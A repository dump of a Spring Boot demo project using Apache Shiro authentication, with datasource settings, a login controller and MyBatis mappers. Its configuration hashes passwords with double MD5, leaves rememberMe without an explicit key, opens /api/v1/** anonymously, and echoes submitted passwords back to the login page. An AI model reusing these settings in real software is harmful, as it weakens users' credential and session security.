filterChainDefinitionMap.put(\"/info\", \"roles[aix]\");//服务器信息页面\n        // filterChainDefinitionMap.put(\"/env\", \"roles[aix]\");//应用程序的环境变量\n        // filterChainDefinitionMap.put(\"/metrics\", \"roles[aix]\");\n        // filterChainDefinitionMap.put(\"/configprops\", \"roles[aix]\");\n        //开放的静态资源\n        filterChainDefinitionMap.put(\"/favicon.ico\", \"anon\");//网站图标\n        filterChainDefinitionMap.put(\"/static/**\", \"anon\");//配置static文件下资源能被访问的，这是个例子\n        filterChainDefinitionMap.put(\"/kaptcha.jpg\", \"anon\");//图片验证码(kaptcha框架)\n\n        filterChainDefinitionMap.put(\"/api/v1/**\", \"anon\");//API接口\n\n        // swagger接口文档\n        filterChainDefinitionMap.put(\"/v2/api-docs\", \"anon\");\n        filterChainDefinitionMap.put(\"/webjars/**\", \"anon\");\n        filterChainDefinitionMap.put(\"/swagger-resources/**\", \"anon\");\n        filterChainDefinitionMap.put(\"/swagger-ui.html\", \"anon\");\n        filterChainDefinitionMap.put(\"/doc.html\", \"anon\");\n\n        // 其他的\n        filterChainDefinitionMap.put(\"/**\", \"authc\");\n\n        // 如果不设置默认会自动寻找Web工程根目录下的\"/login.jsp\"页面\n        shiroFilterFactoryBean.setLoginUrl(\"/login\");\n        // 登录成功后要跳转的链接\n        shiroFilterFactoryBean.setSuccessUrl(\"/index\");\n        // 未授权界面，不生效(详情原因看MyExceptionResolver)\n        shiroFilterFactoryBean.setUnauthorizedUrl(\"/errorView/403_error.html\");\n        shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);\n        return shiroFilterFactoryBean;\n    }\n\n    @Bean\n    public SecurityManager securityManager() {\n        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();\n        // 设置realm.\n        securityManager.setRealm(myShiroRealm());\n        //注入缓存管理器\n        securityManager.setCacheManager(ehCacheManager());//这个如果执行多次，也是同样的一个对象;\n        //注入记住我管理器;\n        securityManager.setRememberMeManager(rememberMeManager());\n        return securityManager;\n    }\n\n    /**\n     * 身份认证realm; (这个需要自己写，账号密码校验；权限等)\n     */\n    @Bean\n    public MyShiroRealm myShiroRealm() {\n        MyShiroRealm myShiroRealm = new MyShiroRealm();\n        myShiroRealm.setCredentialsMatcher(hashedCredentialsMatcher());\n        return myShiroRealm;\n    }\n\n    /**\n     * 凭证匹配器 （由于我们的密码校验交给Shiro的SimpleAuthenticationInfo进行处理了\n     * 所以我们需要修改下doGetAuthenticationInfo中的代码; @return\n     */\n    @Bean\n    public HashedCredentialsMatcher hashedCredentialsMatcher() {\n        HashedCredentialsMatcher hashedCredentialsMatcher = new HashedCredentialsMatcher();\n        hashedCredentialsMatcher.setHashAlgorithmName(\"md5\");// 散列算法:这里使用MD5算法;\n        hashedCredentialsMatcher.setHashIterations(2);// 散列的次数，比如散列两次，相当于md5(md5(\"\"));\n        hashedCredentialsMatcher.setStoredCredentialsHexEncoded(true);//表示是否存储散列后的密码为16进制，需要和生成密码时的一样，默认是base64；\n        return hashedCredentialsMatcher;\n    }\n\n    /**\n     * 开启shiro aop注解支持. 使用代理方式; 所以需要开启代码支持;\n     *\n     * @param securityManager\n     * @return\n     */\n    @Bean\n    public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) {\n        AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor = new AuthorizationAttributeSourceAdvisor();\n        authorizationAttributeSourceAdvisor.setSecurityManager(securityManager);\n        return authorizationAttributeSourceAdvisor;\n    }\n\n    /**\n     * shiro缓存管理器;\n     * 需要注入对应的其它的实体类中：\n     * 1、安全管理器：securityManager\n     * 可见securityManager是整个shiro的核心；\n     *\n     * @return\n     */\n    @Bean\n    public EhCacheManager ehCacheManager() {\n        EhCacheManager cacheManager = new EhCacheManager();\n        cacheManager.setCacheManagerConfigFile(\"classpath:ehcache.xml\");\n        return cacheManager;\n    }\n\n    /**\n     * cookie对象;\n     *\n     * @return\n     */\n    @Bean\n    public SimpleCookie rememberMeCookie() {\n        //System.out.println(\"ShiroConfiguration.rememberMeCookie()\");\n        //这个参数是cookie的名称，对应前端的checkbox的name = rememberMe\n        SimpleCookie simpleCookie = new SimpleCookie(\"rememberMe\");\n        //<!-- 记住我cookie生效时间30天 ,单位秒;-->\n        simpleCookie.setMaxAge(259200);\n        return simpleCookie;\n    }\n\n    /**\n     * cookie管理对象;\n     *\n     * @return\n     */\n    @Bean\n    public CookieRememberMeManager rememberMeManager() {\n        //System.out.println(\"ShiroConfiguration.rememberMeManager()\");\n        CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();\n        cookieRememberMeManager.setCookie(rememberMeCookie());\n        return cookieRememberMeManager;\n    }\n\n    @Bean(name = \"sessionManager\")\n    public DefaultWebSessionManager defaultWebSessionManager() {\n        DefaultWebSessionManager sessionManager = new DefaultWebSessionManager();\n        sessionManager.setGlobalSessionTimeout(18000000);\n        // url中是否显示session Id\n        sessionManager.setSessionIdUrlRewritingEnabled(false);\n        // 删除失效的session\n        sessionManager.setDeleteInvalidSessions(true);\n        sessionManager.setSessionValidationSchedulerEnabled(true);\n        sessionManager.setSessionValidationInterval(18000000);\n        sessionManager.setSessionValidationScheduler(getExecutorServiceSessionValidationScheduler());\n        //设置SessionIdCookie 导致认证不成功，不从新设置新的cookie,从sessionManager获取sessionIdCookie\n        //sessionManager.setSessionIdCookie(simpleIdCookie());\n        sessionManager.getSessionIdCookie().setName(\"session-z-id\");\n        sessionManager.getSessionIdCookie().setPath(\"/\");\n        sessionManager.getSessionIdCookie().setMaxAge(60 * 60 * 24 * 7);\n        return sessionManager;\n    }\n\n    @Bean(name = \"sessionValidationScheduler\")\n    public ExecutorServiceSessionValidationScheduler getExecutorServiceSessionValidationScheduler() {\n        ExecutorServiceSessionValidationScheduler scheduler = new ExecutorServiceSessionValidationScheduler();\n        scheduler.setInterval(900000);\n        return scheduler;\n    }\n\n    @Bean(name = \"shiroDialect\")\n    public ShiroDialect shiroDialect() {\n        return new ShiroDialect();\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/config/properties/DruidProperties.java",
    "content": "package com.xncoding.pos.config.properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName = \"com.mysql.cj.jdbc.Driver\";\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 'x'\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.MYSQL);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/config/properties/MyProperties.java",
    "content": "package com.xncoding.pos.config.properties;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\n\n/**\n * 本项目自定义配置\n *\n * @author xiongneng\n * @since 2018/01/06 21:09\n */\n@Component\n@ConfigurationProperties(prefix = \"xncoding\")\npublic class MyProperties {\n    /**\n     * excel模板文件路径\n     */\n    private String excelPath = \"\";\n    /**\n     * 文件保存路径\n     */\n    private String filesPath = \"\";\n    /**\n     * 图片保存路径\n     */\n    private String picsPath = \"\";\n    /**\n     * 图片访问URL前缀\n     */\n    private String picsUrlPrefix = \"\";\n    /**\n     * 文件访问URL前缀\n     */\n    private String filesUrlPrefix = \"\";\n    /**\n     * POS API接口前缀\n     */\n    private String posapiUrlPrefix = \"\";\n    /**\n     * 是否验证码\n     */\n    private Boolean kaptchaOpen = false;\n    /**\n     * 是否开启Swaggr\n     */\n    private Boolean swaggerOpen = false;\n    /**\n     * session 失效时间（默认为30分钟 单位：秒）\n     */\n    private Integer sessionInvalidateTime = 30 * 60;\n    /**\n     * session 验证失效时间（默认为15分钟 单位：秒）\n     */\n    private Integer sessionValidationInterval = 15 * 60;\n    /**\n     * 机具心跳报告超时时间 单位：分钟\n     */\n    private Integer heartbeatTimeout;\n\n    public String getExcelPath() {\n        return excelPath;\n    }\n\n    public void setExcelPath(String excelPath) {\n        this.excelPath = excelPath;\n    }\n\n    public String getPicsUrlPrefix() {\n        return picsUrlPrefix;\n    }\n\n    public void setPicsUrlPrefix(String picsUrlPrefix) {\n        this.picsUrlPrefix = picsUrlPrefix;\n    }\n\n    public Boolean getKaptchaOpen() {\n        return kaptchaOpen;\n    }\n\n    public void setKaptchaOpen(Boolean kaptchaOpen) {\n        this.kaptchaOpen = kaptchaOpen;\n    }\n\n    public Boolean getSwaggerOpen() {\n        return swaggerOpen;\n    }\n\n    public void setSwaggerOpen(Boolean swaggerOpen) {\n        this.swaggerOpen = swaggerOpen;\n    }\n\n    public Integer getSessionInvalidateTime() {\n        return sessionInvalidateTime;\n    }\n\n    public void setSessionInvalidateTime(Integer sessionInvalidateTime) {\n        this.sessionInvalidateTime = sessionInvalidateTime;\n    }\n\n    public Integer getSessionValidationInterval() {\n        return sessionValidationInterval;\n    }\n\n    public void setSessionValidationInterval(Integer sessionValidationInterval) {\n        this.sessionValidationInterval = sessionValidationInterval;\n    }\n\n    public String getFilesUrlPrefix() {\n        return filesUrlPrefix;\n    }\n\n    public void setFilesUrlPrefix(String filesUrlPrefix) {\n        this.filesUrlPrefix = filesUrlPrefix;\n    }\n\n    public String getFilesPath() {\n        return filesPath;\n    }\n\n    public void setFilesPath(String filesPath) {\n        this.filesPath = filesPath;\n    }\n\n    public Integer getHeartbeatTimeout() {\n        return heartbeatTimeout;\n    }\n\n    public void setHeartbeatTimeout(Integer heartbeatTimeout) {\n        this.heartbeatTimeout = heartbeatTimeout;\n    }\n\n    public String getPicsPath() {\n        return picsPath;\n    }\n\n    public void setPicsPath(String picsPath) {\n        this.picsPath = picsPath;\n    }\n\n    public String getPosapiUrlPrefix() {\n        return posapiUrlPrefix;\n    }\n\n    public void setPosapiUrlPrefix(String posapiUrlPrefix) {\n        this.posapiUrlPrefix = posapiUrlPrefix;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/controller/LoginController.java",
    "content": "package com.xncoding.pos.controller;\n\nimport com.xncoding.pos.config.properties.MyProperties;\nimport com.xncoding.pos.exception.ForbiddenUserException;\nimport com.xncoding.pos.service.ManagerInfoService;\nimport com.xncoding.pos.shiro.IncorrectCaptchaException;\nimport com.xncoding.pos.shiro.ShiroKit;\nimport org.apache.shiro.authc.IncorrectCredentialsException;\nimport org.apache.shiro.authc.UnknownAccountException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\nimport java.util.Map;\n\n/**\n * Description: 登录验证\n */\n\n// 只用同时具有permission:view和permission:aix权限才能访问\n//@RequiresPermissions(value={\"permission:view\",\"permission:aix\"}, logical= Logical.AND)\n//@RequiresPermissions(value={\"permission:view\",\"permission:aix\"}, logical= Logical.OR)一个就行\n\n@Controller\npublic class LoginController {\n\n    @Resource\n    private ManagerInfoService managerInfoService;\n    @Resource\n    private MyProperties myProperties;\n\n    private static final Logger _logger = LoggerFactory.getLogger(LoginController.class);\n\n    //登录页(shiro配置需要两个/login 接口,一个是get用来获取登陆页面,一个用post用于登录)\n    @RequestMapping(value = \"/login\", method = RequestMethod.GET)\n    public String login() {\n        if (ShiroKit.isAuthenticated()) {\n            return \"redirect:/\";\n        }\n        return \"login\";\n    }\n\n    // 登录提交地址和applicationontext-shiro.xml配置的loginurl一致。 (配置文件方式的说法)\n    @RequestMapping(value = \"/login\", method = RequestMethod.POST)\n    public String login(HttpServletRequest request, Map<String, Object> map) {\n        _logger.info(\"登录方法start.........\");\n        // 登录失败从request中获取shiro处理的异常信息。shiroLoginFailure:就是shiro异常类的全类名.\n        Object exception = request.getAttribute(\"shiroLoginFailure\");\n        String msg;\n        if (exception != null) {\n            if (UnknownAccountException.class.isInstance(exception)) {\n                msg = \"用户名不正确，请重新输入\";\n            } else if (IncorrectCredentialsException.class.isInstance(exception)) {\n                msg = \"密码错误，请重新输入\";\n            } else if (IncorrectCaptchaException.class.isInstance(exception)) {\n                msg = \"验证码错误\";\n            } else if (ForbiddenUserException.class.isInstance(exception)) {\n                msg = \"该用户已被禁用，如有疑问请联系系统管理员。\";\n            } else {\n                msg = \"发生未知错误，请联系管理员。\";\n            }\n            map.put(\"username\", request.getParameter(\"username\"));\n            map.put(\"password\", request.getParameter(\"password\"));\n            map.put(\"msg\", msg);\n            return \"login\";\n        }\n        //如果已经登录，直接跳转主页面\n        return \"index\";\n    }\n\n    /**\n     * 主页\n     * @param session\n     * @param model\n     * @return\n     */\n    @RequestMapping({\"/\", \"/index\"})\n    public String index(HttpSession session, Model model) {\n        // _logger.info(\"访问首页start...\");\n        // 做一些其他事情，比如把项目的数量放到session中\n        if (ShiroKit.hasRole(\"admin\") && session.getAttribute(\"projectNum\") == null) {\n            session.setAttribute(\"projectNum\", 2);\n        }\n        if (session.getAttribute(\"picsUrlPrefix\") == null) {\n            // 图片访问URL前缀\n            session.setAttribute(\"picsUrlPrefix\", myProperties.getPicsUrlPrefix());\n        }\n        return \"index\";\n    }\n\n    /**\n     * 欢迎页面\n     * @param request\n     * @param model\n     * @return\n     */\n    @RequestMapping(\"/welcome\")\n    public String welcome(HttpServletRequest request, Model model) {\n        return \"modules/common/welcome\";\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/dao/entity/ManagerInfo.java",
    "content": "package com.xncoding.pos.dao.entity;\n\nimport com.xncoding.pos.common.dao.entity.Manager;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Description: 后台运维管理员信息\n */\npublic class ManagerInfo extends Manager implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 状态\n     */\n    private String stateStr;\n    /**\n     * 所属项目id列表（逗号分隔）\n     */\n    private String pids;\n    /**\n     * 所属项目名列表（逗号分隔）\n     */\n    private String pnames;\n    /**\n     * 所属项目id列表\n     */\n    private List<Integer> pidsList;\n\n    /**\n     * 一个管理员具有多个角色\n     */\n    private List<SysRole> roles;// 一个用户具有多个角色\n\n    public ManagerInfo() {\n    }\n\n    public List<SysRole> getRoles() {\n        return roles;\n    }\n\n    public void setRoles(List<SysRole> roles) {\n        this.roles = roles;\n    }\n\n    /**\n     * 密码盐\n     */\n    public String getCredentialsSalt() {\n        return getUsername() + getSalt();\n    }\n\n    @Override\n    public String toString() {\n        return \"username:\" + getUsername() + \"|name=\" + getName();\n    }\n\n    public String getStateStr() {\n        return stateStr;\n    }\n\n    public void setStateStr(String stateStr) {\n        this.stateStr = stateStr;\n    }\n\n    public String getPids() {\n        return pids;\n    }\n\n    public void setPids(String pids) {\n        this.pids = pids;\n    }\n\n    public List<Integer> getPidsList() {\n        return pidsList;\n    }\n\n    public void setPidsList(List<Integer> pidsList) {\n        this.pidsList = pidsList;\n    }\n\n    public String getPnames() {\n        return pnames;\n    }\n\n    public void setPnames(String pnames) {\n        this.pnames = pnames;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/dao/entity/SysRole.java",
    "content": "package com.xncoding.pos.dao.entity;\n\nimport com.xncoding.pos.common.dao.entity.Permission;\nimport com.xncoding.pos.common.dao.entity.Role;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Description  : 角色信息\n */\npublic class SysRole extends Role implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    // 拥有的权限列表\n    private List<Permission> permissions;\n\n    public SysRole() {\n    }\n\n    public List<Permission> getPermissions() {\n        return permissions;\n    }\n\n    public void setPermissions(List<Permission> permissions) {\n        this.permissions = permissions;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/dao/repository/ManagerInfoDao.java",
    "content": "package com.xncoding.pos.dao.repository;\n\nimport com.baomidou.mybatisplus.plugins.pagination.Pagination;\nimport com.xncoding.pos.common.dao.repository.ManagerMapper;\nimport com.xncoding.pos.dao.entity.ManagerInfo;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Description  :\n */\npublic interface ManagerInfoDao extends ManagerMapper {\n    ManagerInfo findByUsername(String username);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/dao/repository/mapping/ManagerInfoDao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.xncoding.pos.dao.repository.ManagerInfoDao\">\n\n    <resultMap id=\"ManagerInfoMap\" type=\"managerInfo\">\n        <id property=\"id\" column=\"id\"/>\n        <result property=\"username\" column=\"username\"/>\n        <result property=\"name\" column=\"name\"/>\n        <result property=\"password\" column=\"password\"/>\n        <result property=\"salt\" column=\"salt\"/>\n        <result property=\"state\" column=\"state\"/>\n        <collection property=\"roles\" ofType=\"sysRole\">\n            <id property=\"id\" column=\"role_id\"/>\n            <result property=\"role\" column=\"role_role\"/>\n            <collection property=\"permissions\" ofType=\"permission\">\n                <id property=\"id\" column=\"perm_id\"/>\n                <result property=\"permission\" column=\"perm_permission\"/>\n            </collection>\n        </collection>\n        <collection property=\"pidsList\" ofType=\"integer\">\n            <result column=\"project_id\"/>\n        </collection>\n    </resultMap>\n\n    <select id=\"findByUsername\" resultMap=\"ManagerInfoMap\">\n        SELECT DISTINCT\n            A.id                AS id,\n            A.username          AS username,\n            A.name              AS name,\n            A.password          AS password,\n            A.salt              AS salt,\n            A.state             AS state,\n            C.id                AS role_id,\n            C.role              AS role_role,\n            E.id                AS perm_id,\n            E.permission        AS perm_permission,\n            F.project_id        AS project_id\n        FROM t_manager A\n            LEFT JOIN t_manager_role B ON A.id=B.manager_id\n            LEFT JOIN t_role C ON B.role_id=C.id\n            LEFT JOIN t_role_permission D ON C.id=D.role_id\n            LEFT JOIN t_permission E ON D.permission_Id=E.id\n            LEFT JOIN t_project_user F ON A.id=F.user_id\n        WHERE username=#{username}\n    </select>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/exception/ForbiddenUserException.java",
    "content": "package com.xncoding.pos.exception;\n\nimport org.apache.shiro.authc.AuthenticationException;\n\n/**\n * 禁用用户异常\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/12\n */\npublic class ForbiddenUserException extends AuthenticationException {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/model/BaseResponse.java",
    "content": "package com.xncoding.pos.model;\n\n/**\n * Controller的基础返回类\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/7\n */\npublic class BaseResponse<T> {\n    /**\n     * 是否成功\n     */\n    private boolean success;\n\n    /**\n     * 说明\n     */\n    private String msg;\n\n    /**\n     * 返回数据\n     */\n    private T data;\n\n    /**\n     * 分页时候的总数\n     */\n    private Integer total;\n\n    public BaseResponse() {\n\n    }\n\n    public BaseResponse(boolean success, String msg, Integer total, T data) {\n        this.success = success;\n        this.msg = msg;\n        this.total = total;\n        this.data = data;\n    }\n\n    public boolean isSuccess() {\n        return success;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public void setData(T data) {\n        this.data = data;\n    }\n\n    public Integer getTotal() {\n        return total;\n    }\n\n    public void setTotal(Integer total) {\n        this.total = total;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/service/ManagerInfoService.java",
    "content": "package com.xncoding.pos.service;\n\nimport com.xncoding.pos.dao.entity.ManagerInfo;\nimport com.xncoding.pos.dao.repository.ManagerInfoDao;\nimport com.xncoding.pos.exception.ForbiddenUserException;\nimport org.apache.shiro.authc.UnknownAccountException;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.Resource;\nimport java.util.Collections;\n\n/**\n * 后台用户管理\n */\n\n@Service\npublic class ManagerInfoService {\n\n    @Resource\n    private ManagerInfoDao managerInfoDao;\n\n    /**\n     * 通过名称查找用户\n     * @param username\n     * @return\n     */\n    public ManagerInfo findByUsername(String username) {\n        ManagerInfo managerInfo =  managerInfoDao.findByUsername(username);\n        if (managerInfo == null) {\n            throw new UnknownAccountException();\n        }\n        if (managerInfo.getState() == 2) {\n            throw new ForbiddenUserException();\n        }\n        if (managerInfo.getPidsList() == null) {\n            managerInfo.setPidsList(Collections.singletonList(0));\n        } else if (managerInfo.getPidsList().size() == 0) {\n            managerInfo.getPidsList().add(0);\n        }\n        return managerInfo;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/CaptchaUsernamePasswordToken.java",
    "content": "package com.xncoding.pos.shiro;\n\nimport org.apache.shiro.authc.UsernamePasswordToken;\n\n/**\n * Description  : 拓展登陆验证字段\n */\npublic class CaptchaUsernamePasswordToken extends UsernamePasswordToken {\n\n    private static final long serialVersionUID = 1L;\n\n    //验证码字符串\n    private String captcha;\n\n    public CaptchaUsernamePasswordToken(String username, char[] password,\n                                        boolean rememberMe, String host, String captcha) {\n        super(username, password, rememberMe, host);\n        this.captcha = captcha;\n    }\n\n    public String getCaptcha() {\n        return captcha;\n    }\n\n    public void setCaptcha(String captcha) {\n        this.captcha = captcha;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/IncorrectCaptchaException.java",
    "content": "package com.xncoding.pos.shiro;\n\nimport org.apache.shiro.authc.AuthenticationException;\n\n/**\n * Description  : 验证码错误异常\n */\npublic class IncorrectCaptchaException extends AuthenticationException {\n\n    private static final long serialVersionUID = 1L;\n\n    public IncorrectCaptchaException() {\n        super();\n    }\n\n    public IncorrectCaptchaException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    public IncorrectCaptchaException(String message) {\n        super(message);\n    }\n\n    public IncorrectCaptchaException(Throwable cause) {\n        super(cause);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/KaptchaFilter.java",
